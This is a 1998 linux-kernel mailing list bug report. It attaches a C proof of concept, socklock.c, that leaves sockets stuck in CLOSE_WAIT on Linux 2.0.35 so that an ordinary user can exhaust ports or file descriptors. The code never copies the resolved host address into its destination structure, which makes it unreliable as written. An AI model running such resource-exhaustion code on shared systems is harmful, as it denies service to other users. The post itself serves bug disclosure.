Re: Sockets permanently in CLOSE_WAIT state.

Andy Sloane (andude@guildsoftware.com)
Tue, 18 Aug 1998 19:54:23 -0500


--7JfCtLOvnd9MIVvH
Content-Type: text/plain; charset=us-ascii

Ok, here is the code to "exploit" this. It works under linux
2.0.35; that's all I've tested it on. Maybe it's already fixed in 2.1.

What happens is that after the program exits, the connection stays
alive. It might have something to do with my not using pthread_join at the
end (if I did the program would sit in an infinite loop.) The point is
that it may be potentially dangerous: any user can fill up the socket
table, if there is such a thing, or at least run the system out of non-root
ports or filedescriptors.

-Andy

--7JfCtLOvnd9MIVvH
Content-Type: text/plain; charset=us-ascii
Content-Disposition: attachment; filename="socklock.c"

/*
* socklock.c: An illustration of an obscure linux concurrency bug.
* tested on linux 2.0.35
* written by <andude@guildsoftware.com> 08/18/98
*
* Compile with
* cc -o socklock socklock.c -lpthread
* using the LinuxThreads pthread library.
*/

#include <sys/types.h>
#include <sys/time.h>
#include <unistd.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <netdb.h>
#include <string.h>
#include <pthread.h>
#include <errno.h>

#define MAX_FD 100 /* Maximum number of sockets to open */
int num_fd = 1;
struct sockaddr_in destaddr;

int fdarray[MAX_FD];

/* Do a lookup on the hostname provided */
void lookup_host(char *hostname, int port)
{
struct hostent *host;
memset(&destaddr, 0, sizeof(destaddr));
host = gethostbyname(hostname);
if(!host) {
perror("gethostbyname");
exit(-1);
}
destaddr.sin_family = AF_INET;
destaddr.sin_port = htons(port);
}

/* Create and connect all num_fd sockets to destination */
void do_connect()
{
int i;
for(i=0;i<num_fd;i++) {
fdarray[i] = socket(AF_INET, SOCK_STREAM, 0);
if(fdarray[i] < 0) { perror("socket"); exit(-1); }
if(connect(fdarray[i], (struct sockaddr*) &destaddr,
sizeof(struct sockaddr_in))) {
perror("connect");
exit(-1);
}
}
}

/* Close all the sockets */
void do_close()
{
int i;
for(i=0;i<num_fd;i++)
close(fdarray[i]);
}

/* Select on the sockets in a separate thread */
void* do_select(void *nothing)
{
int i,n=0;
char dumpbuf[1024];
fd_set readfds;
while(1) {
FD_ZERO(&readfds);
for(i=0;i<num_fd;i++) {
FD_SET(fdarray[i], &readfds);
if(fdarray[i] > n)
n = fdarray[i];
}
select(n+1, &readfds, NULL, NULL, NULL);
for(i=0;i<num_fd;i++) {
if(FD_ISSET(fdarray[i], &readfds))
read(fdarray[i], dumpbuf, 1024);
}
}
return NULL;
}

int main(int argc, char **argv)
{
pthread_t selthread;
void *blah;
if(argc < 4) {
printf("usage:\n%s <num_sockets> <desthost> <destport>\n", argv[0]);
return 0;
}
num_fd = atoi(argv[1]);
if(!num_fd) return 0;

/* Look up the destination host and connect. */
lookup_host(argv[2], atoi(argv[3]));
do_connect();

/* Make our select() thread */
pthread_create(&selthread, NULL, do_select, NULL);
/* Wait a second to make sure the thread is selecting */
sleep(1);
/* And close 'em all */
do_close();

/* pthread_join(selthread, &blah); */

return 0;
}

--7JfCtLOvnd9MIVvH--

-
To unsubscribe from this list: send the line "unsubscribe linux-kernel" in
the body of a message to majordomo@vger.rutgers.edu
Please read the FAQ at http://www.altern.org/andrebalsa/doc/lkml-faq.html